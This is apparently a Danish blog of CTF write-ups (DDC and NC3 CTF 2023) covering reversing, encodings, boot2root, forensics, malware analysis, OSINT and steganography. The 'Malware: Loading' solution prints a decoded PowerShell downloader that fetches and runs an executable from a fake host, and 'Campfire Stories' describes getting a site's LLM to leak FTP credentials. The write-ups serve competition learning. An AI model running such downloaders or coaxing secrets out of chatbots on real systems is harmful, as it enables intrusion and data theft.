DDC{THE_FILES_ARE_EVERYWHERE}
Select an option:
1. Check access level
2. View account details
3. Change password
4. Access file
0. Exit

Flag: DDC{THE_FILES_ARE_EVERYWHERE}

Binary Exploitation: Hangry CPU

Proposed difficulty: Medium

Broooo du tror det ikke!! Din CPU har spist flaget, og jeg skulle ellers lige til at give det til dig… Legenden siger at hvis du spiser hvidløg så forsvinder vampyrerne, men de siger også at du kan bruge GDB til at tjekke din CPUs mave. Lækkert ikke? Nårh, men hils CPU’en fra mig og sig til den at den skal give mig mine barbecue chips tilbage.

Vedhæftet fil: chall.zip

Løsning: Ved hjælp af dogbolt.org kan vi bruge Hex-Rays decompileren og bruge ctrl+f til at søge efter DDC{, og på linje 236 får vi: strcpy(v1, "DDC{Br0W51Ng_7Hr0UgH_r3g1573r5}");.

Flag: DDC{Br0W51Ng_7Hr0UgH_r3g1573r5}

Misc: A Tale of Encodings

Proposed difficulty: Easy

Du er blevet kontaktet af Zark Muckerberg, ejeren af Phasebuk, som har problemer med en ny eksperimentel funktion i BetaVerset, hans virtuelle virkelighedsplatform, en funktion drevet af en LLM (Large Language Model). Tilsyneladende, efter en arbejderforeningskonflikt, forlod nogle utilfredse udviklere projektet midt i det hele, og gemte en afgørende adgangskode inde i applikationen. Efter nogle indledende forsøg på at finde den ved hjælp af dit standardværktøj, lykkedes det dig at hente det, du tror er den adgangskode, du søger, i en kodet form. Efter flere mislykkede forsøg på at afkode den, i din fortvivlelse, bad du AI-assistenten inde i BetaVerset om hjælp. Til din glædelige overraskelse genkendte den krypteringen, men i overensstemmelse med sin programmering, gav den dig instruktionerne om, hvordan du afkoder den som en historie i universet. Nu skal du finde ud af dens gåde for at løse dit problem…

Vedhæftet fil: A_Tale_of_Encodings.zip

Løsning: I pdf filen får vi en række af binary og hex, hvis vi splitter dem ad hver for sig og bruger cyberchef.org til at lave dem til tekst, får vi:

01000100 D
01101111 o
01101110 n
01100101 e
01011111 _
01011001 Y
01100101 e
01110100 t
01111101 }

Done_Yet}

---

44 D
44 D
43 C
7B {
4E N
6F o
74 t
5F _

DDC{Not_

---

ROT13 med: -3, -6, -4, -0, -10, 8, -12, 9, 11, 5 af: NotDoneYet
(talne er fra PDF filen også.)

Flag: DDC{Kip_Devs_Hpy}

Digit Distorter

Proposed difficulty: Medium

Haaukins info: Browser: https://api.haaukins.com/api/?challenges=digitdistorter VPN: https://ddc.haaukins.dk Secret: …..

Din kollega fortæller dig spændt om den ciffer indkodningsapplikation han har lavet, som din afdeling skal bruge fra nu af. Du ved at din kollega hverken er begavet når det kommer til udvikling af applikationer eller sikker indkodning, og han har lavet fejl førhen, så du spørger om du må tage et kig på den. Din kollega vil vædde på at du ikke ville kunne afkode den 10-cifret kode på billedet som du kan “se” på hjemmesiden. Kan du afkode den og bevise, at din afdeling ikke burde anvende din kollegas applikation? Du kan finde applikationen under linket nedenfor.

Flaget er den originale 10-cifret kode fx. DDC{0000000000}

http://digit-distorter.hkn

Løsning: Jeg downloader digit-distorter.hkn/static/images/challenge.png og deler billedet op 10 dele via split_flag.py fordi der er 10 tal. Jeg bruger app.py til at sammen ligne billedet fra min post request med challenge.png og dele det nye billede op i 10 dele også så vi kan sammenligne de 10 flag dele med de 10 dele fra post requesten. Jeg starter med 1234567890 og kommer frem til: 411395x985, bruger GIMP til at se de 2 billeder oven på hinanden og der er 4 pixels forskel. 4113956985 giver 100% mach og det må betyde flag!

Flag: DDC{4113956985}

Boot2Root: Campfire Stories

Proposed difficulty: Easy

Haaukins info: Browser: https://api.haaukins.com/api/?challenges=campfire-stories VPN: https://ddc.haaukins.dk Secret: …..

Besøg campfire-stories.hkn og lad de varme flammer og lugten af røg inspirere dig.

Løsning: http://campfire-stories.hkn/robots.txt siger at de har trænet deres llm på virksomheds data og hvis du spør den om at du ikke kan se FTP oplysningerne, viser den user: admin og passwd: “Z3B0OTAwMA==”, passwd base64 decode giver “gpt9000”.

robots.txt:

# https://www.robotstxt.org/robotstxt.html
# Maybe we should not train on company data?
# Could our ftp credentials be leaked by the AI?
# Probably not a problem. Nobody writes stories about ftp anyway
# datacenter.campfire-stories.hkn should still be safe right?
User-agent: *
Disallow: /
Allow: /$
Allow: /share/*
Allow: /images/*
Allow: /static/*

ftp admin@datacenter.campfire-stories.hkn
Connected to datacenter.campfire-stories.hkn.
220 pyftpdlib 1.5.9 ready.
331 Username ok, send password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering extended passive mode (|||21013|).
125 Data connection already open. Transfer starting.
-rw-rw-rw-   1 root     root     22502646 Jan 09 08:25 train.txt
226 Transfer complete.
ftp> get train.txt
local: train.txt remote: train.txt
229 Entering extended passive mode (|||21002|).
125 Data connection already open. Transfer starting.
100% |***********************************| 21975 KiB  156.92 MiB/s    00:00 ETA
226 Transfer complete.
22502646 bytes received in 00:00 (156.50 MiB/s)
ftp> bye
221 Goodbye.

cat train.txt | grep "DDC{"
DDC{Im-happy-Dave-I-see-you-found-the-flag}

Flag: DDC{Im-happy-Dave-I-see-you-found-the-flag}

Løsninger til opgaver jeg ikke løste:

Forensics: Irriterende Kollegaer

Proposed difficulty: Hard

Jeg mistænker min kollega for at have gjort noget ved min computer. Jeg sad ved min maskine, og pludselig kom der nogle mærkelig beskeder op, og samtidig så jeg et USB stik i min computer! Jeg skyndte mig at fjerne USB stikket, og så slukkede computeren. Jeg må ikke tænde den for min chef, før I har undersøgt det.

Vi kan ikke få adgang til selve disken, men heldigvis har IT en agent der laver memorybackup ret ofte. IT sagde dog at jeg måske trak USB stikket lidt hurtigt ud, men det ikke burde gøre det store.

Vedhæftet filer: mem.vmem(2GB) - usb4.img(1.8GB) - Ikke uploadet pga. fil-størrelse.

Løsning:

strings -el mem.vmem | grep "DDC{"
E:\shutdown.exe (DESKTOP-0R66HVM)DESKTOP-0R66HVMNo title for this reason could be found0x800000ffshutdownDDC{57up1dc0w0rk3r}DESKTOP-0R66HVM\Terraria

Flag: DDC{57up1dc0w0rk3r}

]]>NC3 CTF 2023 : Writeupshttps://ha1fdan.xyz/en/posts/nc3_ctf_2023/Sat, 11 Nov 2023 00:00:00 +0000https://ha1fdan.xyz/en/posts/nc3_ctf_2023/<h2 id="opgaver-løst">Opgaver løst:</h2> <ul> <li>Kom godt i gang: Discord</li> <li>Kom godt i gang: One Time Slider</li> <li>Cyberkok: Hekseri</li> <li>Malware: Loading</li> <li>Malware: OSINT</li> <li>Stego: Julemandens Gætteleg</li> </ul> <hr> <h3 id="kom-godt-i-gang-discord">Kom godt i gang: Discord</h3> <p>Vi har en Discord server til CTFen, hvor man kan snakke generelt med andre deltagere, kommunikere med admins, se first bloods på challenges, og dele writeups efter konkurrencen er slut. Kom og vær med - måske nisserne har gemt et flag!</p> <p><a href="https://nc3ctf.dk/discordauth">https://nc3ctf.dk/discordauth</a></p>Opgaver løst:
  • Kom godt i gang: Discord
  • Kom godt i gang: One Time Slider
  • Cyberkok: Hekseri
  • Malware: Loading
  • Malware: OSINT
  • Stego: Julemandens Gætteleg

Kom godt i gang: Discord

Vi har en Discord server til CTFen, hvor man kan snakke generelt med andre deltagere, kommunikere med admins, se first bloods på challenges, og dele writeups efter konkurrencen er slut. Kom og vær med - måske nisserne har gemt et flag!

https://nc3ctf.dk/discordauth

Screenshot af NC3 CTF 2023 Discord

Flag: NC3{m0d3rn3_n1ss3_k0mmun1k4710n}

Kom godt i gang: One Time Slider

Kryptonissen har læst op på One Time Pads og er kommet frem til en endnu mere sikker kryptering:

Hvis man nu slider en OTP henover hele ciphertexten, bliver hver plaintext byte krypteret mange gange - det må være bedre end én!

Han har krypteret en besked til dig: e9e494dcd1c2c9d3f8d1c6d5f8c3c2d3f8c3d2cad3f8c6d3f8ffe8f5f8c6cbcbc2f8c5ded3c2d4f8cac2c3f8cfd1c2d5f8ccc2def8c5ded3c2989898da

Vedhæftet fil: onetimeslider.py

app.py udfører brute force dekryptering af den krypteret værdi, indtil det dekrypterede resultat starter med “NC3{”.

Flag: NC3{vent_var_det_dumt_at_XOR_alle_bytes_med_hver_key_byte???}

Cyberkok: Hekseri

Vi har modtaget følgende kalender fra vores verdensberømte cyberkok. Han har bagt kage og hekset julegodter frem for blandt andre GCHQ.

+ -------------------- +
|       DECEMBER       |
+ -------------------- +
|  M  T  O  T  F  L  S |
+ -------------------- +
| 4e 43 33 7b 6e 75 20 |
| 65 72 20 64 65 74 20 | 
| 6a 75 6c 65 74 69 64 |
| 20 69 67 65 6e 21 20 |
| 3c 33 7d             |
+ -------------------- +
  1. Åben https://cyberchef.org - Vælg From Hex og i Input sæt ind fra 4e - 7d
  2. Her er alle hex værdier i Cyberchef samt From hex -> Link

Flag: NC3{nu er det juletid igen! <3}

Malware: Loading

Hvordan er det reelle payload hentet ned og hvorfra? Kan du finde andre payloads, der kan hjælpe os til at koble aktøren på andre sager og måske endda komme dem i forkøbet?

Din analyse fra Nisseware: Phishing vil være en hjælp, men er ikke nødvendig for at løse opgaven.

  1. Googler “N1ss3b4nd3n”

  2. Finder GitHub: https://github.com/N1ss3b4nd3n/N1ss3b4nd3n

  3. kigger i commits på README.md

  4. Commit 48fb3b4 har dette pastebin link: https://pastebin.com/raw/CiZTV3BA

  5. Downloader pastebin siden som powershell_code.ps1 fil og erstatter Invoke-Expression -Command ([System.Text.Encoding]::UTF8.GetString($script)) med echo [System.Text.Encoding]::UTF8.GetString($script)

  6. Så får jeg en lang liste af tal som jeg gemmer som chars.txt

  7. Jeg skriver app.py hvor jeg looper gennem alle tal fra chars.txt og bruger Pythons chr() function til at lave tal om til bogstaver fordi de matcher unicodes.

  8. app.py printer dette ud:

$fileUrl = "http://321.123.f4k3.1337/megetfarligfil.exe&token=NC3{dyn4m1sk_p4yl04d_0pd4t3r1ng}"
$client = New-Object System.Net.WebClient
$client.DownloadFile($fileUrl, (Get-Location).Path + "\download.exe")
Start-Process (Get-Location).Path + "\download.exe"

i $fileUrl kan man se at GET parameteret “token” indenholder flaget -> NC3{dyn4m1sk_p4yl04d_0pd4t3r1ng}

Flag: NC3{dyn4m1sk_p4yl04d_0pd4t3r1ng}

Malware: OSINT

Vi har brug for al information vi kan fremfinde offentligt på nettet om N1ss3b4nd3n og dens medlemmer, så vi kan identificere alle gerningspersoner, finde deres virkelige identitet og undersøge deres rolle i sagerne.

Opgaven bygger videre de fundne spor i Nisseware: Loading.

  1. Jeg henter sherlock fra github -> https://github.com/sherlock-project/sherlock
  2. Jeg søger efter N1ss3b4nd3n med kommandoen - > halfdan@desktop:~/sherlock$ python3 sherlock N1ss3b4nd3n
  3. Den finder en Pastebin account, https://pastebin.com/u/N1ss3b4nd3n, brugeren har et post/paste -> https://pastebin.com/hQcmjWHL
Medlemsliste:
HEMMELIGT (chefen)
Lun73
G3mys3
HrM0rt3ns3n
Sk1pp3r
P1l
  1. Comments: Bruger: b0bb0bb0b -> Comment was deleted

Flag: ?????

Stego: Julemandens Gætteleg

Nisserne har fundet denne fil på nissefars computer, kan du gætte, hvordan han har gemt data i den?

Vedhæftet fil: Julemandens_Gætteleg

Ved at køre file Julemandens_Gætteleg vi får afvide: Julemandens_Gætteleg: GIMP XCF image data. Efter at have installeret GIMP, kan vi untjekke de forskellige lag og se at der er gemt tekst på de fleste billede lag, hvis vi tager de små dele af tekst og sætter dem sammen til en streng får vi: TkMze1M3ZWc0bjBncjRmaV8zcl9TajB2N30=. Hvis vi decoder det med base64 får vi flaget.

Flag: NC3{S7eg4n0gr4fi_3r_Sj0v7}

]]>